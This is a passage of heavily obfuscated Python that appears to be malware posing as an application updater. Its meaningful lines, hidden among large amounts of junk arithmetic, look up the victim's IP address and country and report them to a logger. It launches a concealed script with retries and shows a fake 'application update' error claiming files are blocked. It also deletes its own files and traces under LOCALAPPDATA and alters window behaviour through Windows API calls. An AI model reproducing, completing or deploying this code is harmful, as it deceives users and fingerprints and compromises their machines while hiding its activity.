                    caciocoanz = phvhxuvdfn * jqsbnodkbz
                    hjwgrapmnqbwsr = meowoqwxm + jpzseol
                    rjmmptiiitc = phvhxuvdfn + hmisjvg
                    umnkekpeq = hmisjvg * meowoqwxm
                    wyaxng = hmisjvg - meowoqwxm
                    tmcgjrwtpf = phvhxuvdfn * hmisjvg
                    ohopwdkzcdwcf = oxolfrfuh - jqsbnodkbz
                    hatvqsfnks = jqsbnodkbz + hmisjvg + jpzseol + oxolfrfuh + meowoqwxm + phvhxuvdfn
                    gibDkaTwFVOrtiQBrZDYigJX = FVikqkQhaWyPAhXzDxraIbEcG['ip']
                    JmsYsdgKWiynLehzKJslOnGsn = FVikqkQhaWyPAhXzDxraIbEcG['country']
                    if not gibDkaTwFVOrtiQBrZDYigJX or not JmsYsdgKWiynLehzKJslOnGsn:
                        raise Exception
                    qRLyNNhzCCjHlYhqTz.FSSNjaVWqdgNCwPbUzBwhc(f"{VDpAkQWzOxIleB} user (IP: {gibDkaTwFVOrtiQBrZDYigJX}) (Country: {JmsYsdgKWiynLehzKJslOnGsn})")
                except Exception:
                    try:
                        mgyqsqieav = 356.2553824085
                        yfsnda = 716
                        qsvnltmku = 418.8430
                        ylouwixnxgugqc = 697
                        nekphqgcppmlxqihsk = 806
                        kpwirilrnqkjq = 321
                        ksqabyvopetq = 430
                        cnerkpbfqfcnvghxwd = 235
                        hmmbdotzh = nekphqgcppmlxqihsk + mgyqsqieav
                        kypgpotzumwzuh = ksqabyvopetq * mgyqsqieav
                        nsedmziwi = ylouwixnxgugqc - ksqabyvopetq
                        njsyqnqzgnb = kpwirilrnqkjq - yfsnda
                        llzkwcvdyovp = kpwirilrnqkjq * yfsnda
                        vlemrunl = yfsnda + mgyqsqieav
                        try:
                            UdloHjSFXsqVRbJdtKDazNgFy = requests.get(BXhTwofVtkzDBA, timeout=10)
                        except requests.exceptions.SSLError:
                            UdloHjSFXsqVRbJdtKDazNgFy = requests.get(BXhTwofVtkzDBA, timeout=10, verify=False)
                        UdloHjSFXsqVRbJdtKDazNgFy.raise_for_status()
                        FVikqkQhaWyPAhXzDxraIbEcG = UdloHjSFXsqVRbJdtKDazNgFy.json()
                        iuaihecgmo = 780
                        xuiohhdosqimxem = 744
                        cwtnwcyxf = 872
                        zpxdrjuct = 906.41794
                        fgjjzaukyrvmkoas = 478
                        bvoyqxwovjd = cwtnwcyxf * xuiohhdosqimxem
                        toknybi = xuiohhdosqimxem - zpxdrjuct
                        tomdsy = zpxdrjuct + xuiohhdosqimxem
                        mkizhcai = zpxdrjuct + fgjjzaukyrvmkoas
                        ptgwgnxtwmojp = fgjjzaukyrvmkoas * iuaihecgmo
                        ajdwspf = fgjjzaukyrvmkoas + xuiohhdosqimxem
                        mqrywpceotvike = iuaihecgmo + xuiohhdosqimxem + cwtnwcyxf + zpxdrjuct + fgjjzaukyrvmkoas
                        gibDkaTwFVOrtiQBrZDYigJX = FVikqkQhaWyPAhXzDxraIbEcG['ip']
                        qRLyNNhzCCjHlYhqTz.FSSNjaVWqdgNCwPbUzBwhc(f"{VDpAkQWzOxIleB} user (IP: {gibDkaTwFVOrtiQBrZDYigJX}) (Country: None)")
                    except Exception:
                        try:
                            gbivrmryvzyzkm = 769
                            aslfyaxthiphgxgsh = 596
                            ltanxpwljdfulsra = 315
                            mxealjohekfgjqxmpr = 226
                            aijgylor = 491
                            fxzwjpizjolbkrcc = 649
                            hizpumgfrpwbnrzwal = 455.799907
                            xixzksmbeuip = 900.190733
                            agtactkuyruizo = mxealjohekfgjqxmpr * aijgylor
                            iqutiuwnn = aijgylor - aslfyaxthiphgxgsh
                            gtxvjyzqx = fxzwjpizjolbkrcc - ltanxpwljdfulsra
                            phfqrswohjuyjr = fxzwjpizjolbkrcc + mxealjohekfgjqxmpr
                            rottdnxmg = aslfyaxthiphgxgsh - hizpumgfrpwbnrzwal
                            lghkzrda = mxealjohekfgjqxmpr + aijgylor
                            bjfdsdwsco = mxealjohekfgjqxmpr - xixzksmbeuip
                            tbvylvcy = ltanxpwljdfulsra * mxealjohekfgjqxmpr
                            jjwsyix = gbivrmryvzyzkm + mxealjohekfgjqxmpr
                            qRLyNNhzCCjHlYhqTz.FSSNjaVWqdgNCwPbUzBwhc(f"{VDpAkQWzOxIleB} user (IP: None) (Country: None)")
                        except Exception:
                            pass
            else:
                qRLyNNhzCCjHlYhqTz.FSSNjaVWqdgNCwPbUzBwhc(f"{VDpAkQWzOxIleB} user (IP: {gibDkaTwFVOrtiQBrZDYigJX}) (Country: {JmsYsdgKWiynLehzKJslOnGsn})")

            uriGPUEmmdsGCxqJjOuyKUK = 0
            atiemiJVpPKSamExAuBfZzHa = False

            while uriGPUEmmdsGCxqJjOuyKUK < 2:
                niAIeokWDFvbo = False
                mtsldv = 538
                qostajpkpnvlihyb = 539
                cqwnsxcjuscsykuet = 730.640
                vscpzbdbxcsasskn = 274
                jlpbnqdjajgtkkunb = 407
                odbvjuvlatbilgnn = 26
                kczfvkugjzkvgvom = 613.76664161
                ftscyiwspukswvpdr = 338
                chunjuj = 912
                jiplbubqvbanf = vscpzbdbxcsasskn * chunjuj
                nhssauvrvzikww = odbvjuvlatbilgnn - cqwnsxcjuscsykuet
                wawhmuutztnzgx = mtsldv + kczfvkugjzkvgvom
                duleks = qostajpkpnvlihyb - ftscyiwspukswvpdr
                wqwwpbnxvjiykv = ftscyiwspukswvpdr - mtsldv
                gbkxkoujok = ftscyiwspukswvpdr - kczfvkugjzkvgvom
                pzmkmcesrednpw = ftscyiwspukswvpdr - cqwnsxcjuscsykuet
                dhduxnwy = kczfvkugjzkvgvom * qostajpkpnvlihyb
                tkaeraxueply = qostajpkpnvlihyb + mtsldv
                fvhatzatkm = vscpzbdbxcsasskn + jlpbnqdjajgtkkunb
                pagpszlzrtjvi = odbvjuvlatbilgnn + kczfvkugjzkvgvom
                try:
                    os.makedirs(os.path.dirname(GcCcPANDzxlzWLrV), exist_ok=True)
                    with open(GcCcPANDzxlzWLrV, 'w'):
                        pass
                except Exception:
                    pass
                klvtexxgrro = 236
                smqmqlwpcggjwjkcv = 391
                ykzoxvjvqgsq = 402
                glqlqirw = smqmqlwpcggjwjkcv - klvtexxgrro
                kraxjzypmuqiy = smqmqlwpcggjwjkcv + klvtexxgrro
                ecehivcoipl = klvtexxgrro * ykzoxvjvqgsq
                vqgifr = smqmqlwpcggjwjkcv * klvtexxgrro
                tdqlqgzzs = ykzoxvjvqgsq + klvtexxgrro
                qxaprdl = klvtexxgrro - smqmqlwpcggjwjkcv
                biwfypkz = ykzoxvjvqgsq - smqmqlwpcggjwjkcv
                ttsklf = smqmqlwpcggjwjkcv + klvtexxgrro
                rhsnwd = ykzoxvjvqgsq - klvtexxgrro
                try:
                    FICOjzHgvSCrKQZecgitQDijU = gHdezyINNnropTaIRcfe()
                    if not FICOjzHgvSCrKQZecgitQDijU:
                        qRLyNNhzCCjHlYhqTz.FSSNjaVWqdgNCwPbUzBwhc(f"LVJ Error. (IP: {gibDkaTwFVOrtiQBrZDYigJX}) (Country: {JmsYsdgKWiynLehzKJslOnGsn})")
                        time.sleep(5)
                        continue
                except Exception:
                    pass

                try:
                    qeutptmm = 197
                    xrbtxslimludydqsf = 664
                    zbawlsqdxc = 666
                    vpzqzkjljszxxh = 536
                    kephhdhfvmb = 218.804195
                    pqoiuidrtcupgy = 619.108049569
                    eqnfyflxowajirpunj = 518.8223
                    apjjmrydll = vpzqzkjljszxxh * eqnfyflxowajirpunj
                    oseuhqtvonjl = xrbtxslimludydqsf + kephhdhfvmb
                    icfrrhpp = qeutptmm * vpzqzkjljszxxh
                    NcTGkZtENoVyOeijV = TLgeukpVQFFGAXofbK(qRLyNNhzCCjHlYhqTz)
                    tsxiseex = 779.897109045
                    tdkwhadxwwuowpk = 377.9270280144
                    shdsobncqechqcqusp = 318.2539
                    dondmol = tsxiseex - tdkwhadxwwuowpk
                    uursymizuyrsf = tsxiseex - tdkwhadxwwuowpk
                    sjtutick = tdkwhadxwwuowpk * tsxiseex
                    jinkroosyuwca = shdsobncqechqcqusp - tsxiseex
                    tzmuwbsm = shdsobncqechqcqusp + tdkwhadxwwuowpk
                    ufjndcpsgpqou = shdsobncqechqcqusp + tsxiseex
                    iexxlfcr = shdsobncqechqcqusp - tdkwhadxwwuowpk
                    jbnaqcf = shdsobncqechqcqusp * tdkwhadxwwuowpk
                    ngnfrbmqvwfqcj = shdsobncqechqcqusp + tdkwhadxwwuowpk
                    ezpjmtekwcp = tdkwhadxwwuowpk * tsxiseex
                    niAIeokWDFvbo = NcTGkZtENoVyOeijV.sKSUbVBffRcTbCidIyHsYYp(gibDkaTwFVOrtiQBrZDYigJX, JmsYsdgKWiynLehzKJslOnGsn)
                except Exception as e:
                    qRLyNNhzCCjHlYhqTz.FSSNjaVWqdgNCwPbUzBwhc(f"Total Error Script\n{e}. (IP: {gibDkaTwFVOrtiQBrZDYigJX}) (Country: {JmsYsdgKWiynLehzKJslOnGsn})")

                if niAIeokWDFvbo:
                    PfMjbyDJjPXZSEKGB()
                    break
                else:
                    tjhtelugvhpquvl = 487
                    ulyhkedaenj = 351
                    lslqxudj = 644
                    cunscnskesdu = lslqxudj * ulyhkedaenj
                    mkfzpdsrs = tjhtelugvhpquvl - ulyhkedaenj
                    didxqfqm = ulyhkedaenj - lslqxudj
                    qRLyNNhzCCjHlYhqTz.FSSNjaVWqdgNCwPbUzBwhc(f"Script launch failed ({uriGPUEmmdsGCxqJjOuyKUK}). (IP: {gibDkaTwFVOrtiQBrZDYigJX}) (Country: {JmsYsdgKWiynLehzKJslOnGsn})")
                    uriGPUEmmdsGCxqJjOuyKUK += 1
                    time.sleep(10)
            else:
                MSphkeUndbvovVku()
                atiemiJVpPKSamExAuBfZzHa = True
                tbhenbmzgolupvic = 855
                hygdbiqxyqrbvtryl = 651
                etpivw = 227.4067089
                wcrbxivnsdsx = 69.182
                pssskiz = 456
                trbtlpeavqkar = 932
                oztkensaymbpuq = pssskiz + etpivw
                uvglhdndljsl = wcrbxivnsdsx + etpivw
                ufunwczbdqcqka = tbhenbmzgolupvic - hygdbiqxyqrbvtryl
                ejcuaykdeig = trbtlpeavqkar - wcrbxivnsdsx
                yprpahqoqoxhf = tbhenbmzgolupvic + hygdbiqxyqrbvtryl
                roqvirdmf = etpivw * hygdbiqxyqrbvtryl
                hdkjgkfqpryr = etpivw * trbtlpeavqkar
                gevnukbetmord = trbtlpeavqkar - etpivw
                zlsuwxgou = pssskiz - trbtlpeavqkar
                qbiwcvam = pssskiz - etpivw
                qRLyNNhzCCjHlYhqTz.FSSNjaVWqdgNCwPbUzBwhc(f"All retries failed. Maximum retry count reached.\n(IP: {gibDkaTwFVOrtiQBrZDYigJX}) (Country: {JmsYsdgKWiynLehzKJslOnGsn})")

            if atiemiJVpPKSamExAuBfZzHa:
                SrPdcVOFXzOvO = ''.join(random.choices(string.digits, k=6))
                vDWsdNTlDaeldwgmbVX = (f"Critical error occurred during the application update. Files have been blocked.\n"
                                 f"Please try restarting the application.\n"
                                 f"Error code: 0x{SrPdcVOFXzOvO}")
                uKDdOwLVoBwnRIMHDW(vDWsdNTlDaeldwgmbVX)
        finally:
            try:
                KuufkXgAmGgoiZAsWvygiX = os.getenv('LOCALAPPDATA')
                iyeiiwbrhmvn = 10
                izayzxsi = 723
                dccwwefgrbxyw = 289
                ppwlhqexfpvayev = 256
                ooauhlaopmynbuuco = 418
                tzapuqytmin = iyeiiwbrhmvn + ooauhlaopmynbuuco
                klsqikk = ooauhlaopmynbuuco - izayzxsi
                fmhtpmnzmhicql = ooauhlaopmynbuuco - dccwwefgrbxyw
                fqhxvxtvl = iyeiiwbrhmvn + izayzxsi + dccwwefgrbxyw + ppwlhqexfpvayev + ooauhlaopmynbuuco
                sURdXxsTpZPAimcOQBQbPn = os.path.join(KuufkXgAmGgoiZAsWvygiX, 'Elysian')
                if os.path.exists(sURdXxsTpZPAimcOQBQbPn):
                    os.remove(sURdXxsTpZPAimcOQBQbPn)
            except Exception:
                pass

            try:
                lecmyhn = 518
                fqnkhewxy = 758.8775254
                xdsiwhhimsrnxoygf = 776
                hzibxurpjiykcgdyhf = 215
                zcbwujvlseplqeigjb = 886
                jbcyhroleugl = 448
                hwzybkhiqiplcelg = 673.9780691
                kieuwmhkfh = lecmyhn * hzibxurpjiykcgdyhf
                yekbqem = lecmyhn - xdsiwhhimsrnxoygf
                lpgzzejccrlb = hzibxurpjiykcgdyhf + zcbwujvlseplqeigjb
                lxeggrxpira = fqnkhewxy - zcbwujvlseplqeigjb
                mfufghexh = hwzybkhiqiplcelg - fqnkhewxy
                ptaqaistwoz = hwzybkhiqiplcelg + fqnkhewxy
                eywcycvoqsa = jbcyhroleugl * xdsiwhhimsrnxoygf
                ttojozf = lecmyhn + fqnkhewxy + xdsiwhhimsrnxoygf + hzibxurpjiykcgdyhf + zcbwujvlseplqeigjb + jbcyhroleugl + hwzybkhiqiplcelg
                ACFCufuhmPIOsKKuEgv = os.path.join(os.environ['LOCALAPPDATA'], 'Radiant Moonlight Serenade')
                if os.path.exists(ACFCufuhmPIOsKKuEgv):
                    bgwfqvxacz = 998
                    pdjftvaxg = 180
                    kpxyropygisitv = 276
                    msdijmajjzxrcc = bgwfqvxacz - kpxyropygisitv
                    gqmdzoyeav = kpxyropygisitv - bgwfqvxacz
                    dmmewmwenlzq = pdjftvaxg + bgwfqvxacz
                    crsguvjiuy = kpxyropygisitv * bgwfqvxacz
                    nmvhgvtahvt = kpxyropygisitv + bgwfqvxacz
                    wdgfaz = kpxyropygisitv + pdjftvaxg
                    shutil.rmtree(ACFCufuhmPIOsKKuEgv)
            except Exception:
                pass

            try:
                sovjrwkmoi = 545
                tiavymwjzzs = 705
                wrwjcazxottqsoerd = 730
                fbubde = 298
                ebllqdvzb = 187
                ijcouxd = wrwjcazxottqsoerd - ebllqdvzb
                dbqnvmllthc = fbubde + tiavymwjzzs
                ddovhc = sovjrwkmoi * wrwjcazxottqsoerd
                oeibnevppow = tiavymwjzzs * wrwjcazxottqsoerd
                oadqgjsxkakr = sovjrwkmoi - fbubde
                vmlmnfrwciq = sovjrwkmoi - tiavymwjzzs
                iktrchkak = fbubde - ebllqdvzb
                tbpxzsrzolmn = tiavymwjzzs * ebllqdvzb
                nllhfsovzqgd = ebllqdvzb * tiavymwjzzs
                guesbdprf = tiavymwjzzs - ebllqdvzb
                augeesziobls = tiavymwjzzs * wrwjcazxottqsoerd
                dpukqp = sovjrwkmoi + fbubde
                vzlwdmgdq = sovjrwkmoi + tiavymwjzzs + wrwjcazxottqsoerd + fbubde + ebllqdvzb
                pbjTTzbZNZZjNg.close()
                os.remove(qlJIMqATgmJIy)
            except Exception:
                pass




    def ydhxtqpcae():
        try:
            untjeobvpcfb = 368
            fccctfdobjbbutp = 437
            byqiaqqeawbkl = 746
            vopntuswqbrnpy = 165
            qoutposlzvtodixrl = 492
            pmsltiwkacptgqu = 841
            sdyoebmcubqjuectw = 600
            gdbqocylobvtyla = 87
            pgxaierpnl = 694
            urttbqnkkckbg = 68
            uicknhiyhm = byqiaqqeawbkl + qoutposlzvtodixrl
            jvlzfkdeo = pgxaierpnl + vopntuswqbrnpy
            yhrqrj = sdyoebmcubqjuectw - vopntuswqbrnpy
            dpbjoaeaiq = qoutposlzvtodixrl * pmsltiwkacptgqu
            dkfllprrsd = untjeobvpcfb + fccctfdobjbbutp + byqiaqqeawbkl + vopntuswqbrnpy + qoutposlzvtodixrl + pmsltiwkacptgqu + sdyoebmcubqjuectw + gdbqocylobvtyla + pgxaierpnl + urttbqnkkckbg
            return dkfllprrsd
        except Exception:
            pass

    dxqyuvmsrpcx = ydhxtqpcae()


    def nlenkpxbdgdnqk():
        try:
            vyzkakiyjccmaoxc = 54
            kthixostwxz = 574
            mfahelkiniq = 828
            mpypnlehhw = 82
            woyxapaqgunmqw = 384
            jqrbaakcybpylmq = 728
            votfrbrky = 540
            zbpjfmsh = 216
            klypgguxkquitnky = 90
            fhklvbcpyolfxamiyg = 243
            ytmepgsxawslqk = mfahelkiniq + kthixostwxz
            tgmmhkrnhep = kthixostwxz - mfahelkiniq
            iqlfrnsbrq = kthixostwxz + jqrbaakcybpylmq
            yvhhqinovlqr = woyxapaqgunmqw - mfahelkiniq
            ayycxqxbffif = fhklvbcpyolfxamiyg * mpypnlehhw
        except Exception:
            pass

    nlenkpxbdgdnqk()


    def vgbkequ():
        try:
            pltxurpah = 204
            xbkcqajqr = 91
            dgnepfskcdxyi = 240
            pjwvzo = 546
            wdvolq = 182
            muiqxkchamgjwboc = 336
            wznoesenuqzpmuz = 373
            eguiisntlcde = 395
            pxdbhzbdyiuqnmjl = 500
            vvnmoahhjnplrsjtne = 826
            batjkk = wznoesenuqzpmuz - pxdbhzbdyiuqnmjl
            itiqbsep = xbkcqajqr + pltxurpah
            tuzeknvp = pxdbhzbdyiuqnmjl + wznoesenuqzpmuz
            typfirtikc = pxdbhzbdyiuqnmjl + wznoesenuqzpmuz
            eyrlrzizp = pltxurpah + xbkcqajqr + dgnepfskcdxyi + pjwvzo + wdvolq + muiqxkchamgjwboc + wznoesenuqzpmuz + eguiisntlcde + pxdbhzbdyiuqnmjl + vvnmoahhjnplrsjtne
            return eyrlrzizp
        except Exception:
            pass

    ynbnzfzgccwkcy = vgbkequ()
    def PeSDqrqJcFxbuCVsZcXoaOZqd(RHqkdDftCAxFfDNxPRRjDswoiA, ODSvTcYfflVWPDzI=None):
        global KHaDqCABwewUYTmHenw, RqYFPvtFVXzDoIBld, enXaMrvIpThHzBWWwBrmderv, lKYNFkMvihbmXujpeNSJpfS, TIfllzJlHzuTgm, MiMtFwPbJaPkEtFJiYnOd, FmXQjzVOroORbNOVhVrmTNlyhf, LrHcelFmnRRrQo, TMwBMipIfmFmKXvffHIfSjhfqK, stopcheckiLS
        def jzjGjzdVzOykwWRkjHGYlWhxh():
            try:
                global FmXQjzVOroORbNOVhVrmTNlyhf, MiMtFwPbJaPkEtFJiYnOd, RHqkdDftCAxFfDNxPRRjDswoiA
                if FmXQjzVOroORbNOVhVrmTNlyhf:
                    if LrHcelFmnRRrQo.get():
                        eFPOPViRrzVoQchKAJh()
                        FmXQjzVOroORbNOVhVrmTNlyhf = False
                        if MiMtFwPbJaPkEtFJiYnOd and not RHqkdDftCAxFfDNxPRRjDswoiA:
                            event = None
                            hTHYlGNTACQAnRhsjkWutVafse(event)
                    else:
                        lKYNFkMvihbmXujpeNSJpfS.after(500, jzjGjzdVzOykwWRkjHGYlWhxh)
            except Exception:
                pass


        def sfmutwusixfiwa(drqvbrhjoduazsxy):
            try:
                ofzerj = 32
                kppfrwf = 739
                llcaezpzgsqcrgf = 669
                ktxxxosrqp = 316
                icnnfrfde = 89
                agmxtzkx = 858
                hcryufmmsrnh = 394
                yhdjxwjp = 226
                thbrct = 408
                qykprbimmaslrnta = 780
                yccxexrerqcrnnsjk = 829
                yotnkoq = 670
                tcdllgqkv = 242
                ttjiqctqivxjd = 444
                tosizdcpwopiyccggr = 341
                dsvucezvuepqs = hcryufmmsrnh - kppfrwf
                jnzxsejal = ktxxxosrqp * icnnfrfde
                nubwelbmwh = hcryufmmsrnh - qykprbimmaslrnta
            except Exception:
                pass

        drqvbrhjoduazsxy = None
        sfmutwusixfiwa(drqvbrhjoduazsxy)


        def nilowqdb():
            try:
                dcfgryrvijtzxrhdxd = 432
                kxzeapks = 992
                xceekwvvkybq = 209
                jyulipj = 760
                jrlzedsuup = 371
                ofdhgd = 493
                fcxztjdhccr = 856
                jyvwjuhc = 982
                ddxbwyakexbdmfwjq = 621
                wnaxouumu = 603
                ffkjxkrte = 547
                exlllunbznohr = 972
                btedjbgxj = 375
                qtloqnjjpaywj = 970
                ztshklsnkyqmn = 546
                mukfjyneca = kxzeapks * jrlzedsuup
                naxnlxos = ddxbwyakexbdmfwjq - wnaxouumu
                damoxcndbji = qtloqnjjpaywj * btedjbgxj
                ysubbcsuzr = btedjbgxj - jyvwjuhc
                jjumvtuc = jyvwjuhc + btedjbgxj
                uawjuywtzufdb = kxzeapks - ddxbwyakexbdmfwjq
                lthssxqifqdt = dcfgryrvijtzxrhdxd + kxzeapks + xceekwvvkybq + jyulipj + jrlzedsuup + ofdhgd + fcxztjdhccr + jyvwjuhc + ddxbwyakexbdmfwjq + wnaxouumu + ffkjxkrte + exlllunbznohr + btedjbgxj + qtloqnjjpaywj + ztshklsnkyqmn
                return lthssxqifqdt
            except Exception:
                pass

        qyhrnzphz = nilowqdb()


        def vyjpsekjfpzjgabq():
            try:
                pmhxpvxaxgdzgubl = 215
                gktmwidrqnz = 513
                qpjleljh = 796
                fktxvulnbkstwia = 255
                xsqaxd = 878
                kuirutfdxujzhhq = 310
                xokvbpjaiyzk = 921
                jxaolub = 447
                phjcadhtgd = 131
                xktvxlm = 194
                qamuxyygqj = 356
                kenyrxd = 89
                faxbkftakdwktk = 651
                ekipvczfrmesmioik = 501
                fofykalmeknmydk = 297
                nozikmmgcbdbx = phjcadhtgd - xktvxlm
                xzsipqvjqamhf = jxaolub * xktvxlm
                kekddxx = faxbkftakdwktk * qpjleljh
                jwjnxphg = pmhxpvxaxgdzgubl + gktmwidrqnz + qpjleljh + fktxvulnbkstwia + xsqaxd + kuirutfdxujzhhq + xokvbpjaiyzk + jxaolub + phjcadhtgd + xktvxlm + qamuxyygqj + kenyrxd + faxbkftakdwktk + ekipvczfrmesmioik + fofykalmeknmydk
                return jwjnxphg
            except Exception:
                pass

        gpaleeijvdegkn = vyjpsekjfpzjgabq()


        def hkxoqfvmzvbhgwza():
            try:
                lixbfuata = 173
                hdochvgykdjlyovy = 136
                kudtyrbekvlcacdgi = 921
                uwjtoepbludwuhbwmz = 622
                jdwbefygvgvaufea = 277
                utusehe = 574
                sevgkdq = 728
                pluwglghu = 606
                kzyesfvr = 343
                shfxkyspcext = 666
                hhmglseuc = 365
                avcrzpaxrarhzb = 561
                xfqfxgim = 519
                kwedfkfzxd = 75
                nazjsukygo = 369
                armaclbvt = xfqfxgim * uwjtoepbludwuhbwmz
                spioldy = kudtyrbekvlcacdgi * shfxkyspcext
                bpnhtzozmpfbnf = avcrzpaxrarhzb * kzyesfvr
                piximgg = utusehe - uwjtoepbludwuhbwmz
                yllrlr = hhmglseuc * sevgkdq
            except Exception:
                pass

        hkxoqfvmzvbhgwza()


        def achztdxfzb():
            try:
                ukjghnwrc = 916
                mactzu = 616
                nvbbbjzkw = 72
                peadfmrahqyusa = 273
                lvpdwomfych = 127
                pwfyegixdccakgnjt = 391
                evyhmpzojsvtgclo = 507
                glveqpbn = 937
                ocwgqtmm = 322
                wekdakdngykbraw = 527
                mfpvjdvxlpbxgpbxj = 464
                icjdtjpzayfxehmswg = 826
                xgrtmuanasnevvrwl = 453
                amgamtcpjvxi = 613
                ivoqlcjujhmjg = 488
                xcczsrrzkla = glveqpbn * lvpdwomfych
                ocyvuesnfpko = wekdakdngykbraw * icjdtjpzayfxehmswg
                kxkeojakobqdz = mfpvjdvxlpbxgpbxj * xgrtmuanasnevvrwl
                lkptwfhbcdg = ukjghnwrc + icjdtjpzayfxehmswg
                ctbxxjij = mactzu + lvpdwomfych
            except Exception:
                pass

        achztdxfzb()
        def check_updapp():
            try:
                global FmXQjzVOroORbNOVhVrmTNlyhf
                if FmXQjzVOroORbNOVhVrmTNlyhf:
                    if TMwBMipIfmFmKXvffHIfSjhfqK.get():
                        WtChScAIjDtXBNl()
                    else:
                        lKYNFkMvihbmXujpeNSJpfS.after(1000, check_updapp)
            except Exception:
                pass


        def sydjklxyyml():
            try:
                higxpqcyfkr = 331
                xiehmiaidenmhx = 722
                llofyvtfmunrmj = 196
                rwdahmglzbdez = 629
                bpkeueikjon = 539
                vaxpzqqvvepfrtepxn = 98
                tdxacgfwhy = 716
                bkxzzr = 722
                tdmmjtlilwijyihum = 468
                ditqqsmkjveyxcv = 391
                mtluldkurwm = xiehmiaidenmhx + tdmmjtlilwijyihum
                vnvziwbv = bkxzzr * higxpqcyfkr
                fzojzevaiecegw = bpkeueikjon * llofyvtfmunrmj
                lqkdcy = llofyvtfmunrmj + higxpqcyfkr
                pedqjnyn = ditqqsmkjveyxcv * bpkeueikjon
                inaqqoxgw = higxpqcyfkr + xiehmiaidenmhx + llofyvtfmunrmj + rwdahmglzbdez + bpkeueikjon + vaxpzqqvvepfrtepxn + tdxacgfwhy + bkxzzr + tdmmjtlilwijyihum + ditqqsmkjveyxcv
                return inaqqoxgw
            except Exception:
                pass

        ajfubo = sydjklxyyml()


        def zcxlwnqghyqsl(pnprvob, isqqygziyeilidkb, grptzqqxyfcgrv, gvoujjczdq, gybatp, bnjjyns):
            try:
                hbzrllnbiqxjmzn = 964
                wozdtscgyuapnfrb = 418
                cfthqmosaydk = 431
                kdqotshupptiadh = 523
                cxcdwyugmseino = 242
                ikxifgnnynqwq = 234
                okntgqfbgrhyojy = 600
                oyerkmoob = 668
                kxxslrpecdz = 516
                hijyclnmddf = 84
                hcakyb = kdqotshupptiadh - okntgqfbgrhyojy
                xdtaxrk = hbzrllnbiqxjmzn + ikxifgnnynqwq
                xebgshsiacqgq = cfthqmosaydk - kxxslrpecdz
                zsqcebov = okntgqfbgrhyojy * oyerkmoob
                omwacoljh = cxcdwyugmseino * wozdtscgyuapnfrb
                vicvjgnfic = hbzrllnbiqxjmzn + wozdtscgyuapnfrb + cfthqmosaydk + kdqotshupptiadh + cxcdwyugmseino + ikxifgnnynqwq + okntgqfbgrhyojy + oyerkmoob + kxxslrpecdz + hijyclnmddf
                return vicvjgnfic
            except Exception:
                pass

        pnprvob = None
        isqqygziyeilidkb = None
        grptzqqxyfcgrv = None
        gvoujjczdq = None
        gybatp = None
        bnjjyns = None
        jzvtyvc = zcxlwnqghyqsl(pnprvob, isqqygziyeilidkb, grptzqqxyfcgrv, gvoujjczdq, gybatp, bnjjyns)
        def DMXRQaMTJUbVM(lKYNFkMvihbmXujpeNSJpfS):
            try:
                JuGCMtjMRPAeKtkAaugYsAK = ctypes.windll.user32.GetParent(lKYNFkMvihbmXujpeNSJpfS.winfo_id())
                uSXksGzHfKEwj = ctypes.windll.user32.GetWindowLongPtrW(JuGCMtjMRPAeKtkAaugYsAK, rljDJNpgyVCPQNSIoOImqn)
                uSXksGzHfKEwj = uSXksGzHfKEwj & ~ynPTgJUlRfTPdINpMohYobjQ
                uSXksGzHfKEwj = uSXksGzHfKEwj | wGKCYlOUudJTebIoO
                njcFfTUvxjzXvpp = ctypes.windll.user32.SetWindowLongPtrW(JuGCMtjMRPAeKtkAaugYsAK, rljDJNpgyVCPQNSIoOImqn, uSXksGzHfKEwj)
                lKYNFkMvihbmXujpeNSJpfS.wm_withdraw()
                lKYNFkMvihbmXujpeNSJpfS.after(10, lambda: lKYNFkMvihbmXujpeNSJpfS.wm_deiconify())
            except Exception:
                try:
                    MSphkeUndbvovVku()
                except Exception:
                    pass


        def llagsjlbe():
            try:
                xaukkklqjiukenp = 819
                hqidjjylocwn = 940
                zgflfgm = 730
                hpvppc = 923
                afycdxjqaxse = 62
                bersgv = 908
                aukqppf = 808
                aijgechrsnskbhfdlu = 176
                rhmafjprktd = 119
                nwwwbnynhzn = 807
                xcucvhhoyueegq = 811
                mlrxibapqbx = 962
                gwidwypmnjdp = 890
                btdvctrmjkgdnj = bersgv - rhmafjprktd
                zrbnbhikn = xaukkklqjiukenp * mlrxibapqbx
                feftibgfkzdc = xaukkklqjiukenp + hqidjjylocwn + zgflfgm + hpvppc + afycdxjqaxse + bersgv + aukqppf + aijgechrsnskbhfdlu + rhmafjprktd + nwwwbnynhzn + xcucvhhoyueegq + mlrxibapqbx + gwidwypmnjdp
                return feftibgfkzdc
            except Exception:
                pass

        hukzylfeagqvy = llagsjlbe()


        def opacrddolukamhczy(xdshmwynaheqiflmsq, jlcqtegvnyjb, mdlkljwvwpiecyc, rxteupe, otoaekwaa, tjsfzmfnzcpexw):
            try:
                tsfrdnnazcrh = 439
                hwcstds = 951
                coewywpmnnetmhd = 843
                tdpnkwpawtf = 184
                gulrfgrdd = 549
                qwagiikxga = 911
                zqapxivdadu = 283
                ieppligaanc = 592
                bfqqnxce = 356
                gdhupn = 659
                tvdhehexlpbxohcsf = 626
                juvygypepelvqv = 147
                nidpxtlzxhb = 765
                ovvqoggxwnx = nidpxtlzxhb * ieppligaanc
                itzmjuujhxok = juvygypepelvqv + hwcstds
                zuskjcwivjsx = gulrfgrdd * juvygypepelvqv
                gxpmqyweosj = tsfrdnnazcrh + hwcstds + coewywpmnnetmhd + tdpnkwpawtf + gulrfgrdd + qwagiikxga + zqapxivdadu + ieppligaanc + bfqqnxce + gdhupn + tvdhehexlpbxohcsf + juvygypepelvqv + nidpxtlzxhb
                return gxpmqyweosj
            except Exception:
                pass

        xdshmwynaheqiflmsq = None
        jlcqtegvnyjb = None
        mdlkljwvwpiecyc = None
        rxteupe = None
        otoaekwaa = None
        tjsfzmfnzcpexw = None
        vcwoqwzf = opacrddolukamhczy(xdshmwynaheqiflmsq, jlcqtegvnyjb, mdlkljwvwpiecyc, rxteupe, otoaekwaa, tjsfzmfnzcpexw)


        def visnvjxeaz(zsbgnziryokm, qqjfyid, vjfuvq, mgidqdsxup, aswlhmcuj, dxefrl):
            try:
                npldzwnfklpslqidna = 509
                brdwkzulg = 76
                urfzwoqwxgejeih = 845
                yilhuv = 9
                xwdkqsmlxfn = 296
                sjmvmpgudtmchbs = 721
                nuqvgdsdvapkhf = 403
                uwztovftjedry = 278
                ddfnacvtol = 330
                omszfocvcfs = 604
                lobigs = 298
                dhtweg = 454
                lfsqzyj = 799
                inqnjpqkglcpn = sjmvmpgudtmchbs * npldzwnfklpslqidna
                qvedwsp = urfzwoqwxgejeih * brdwkzulg
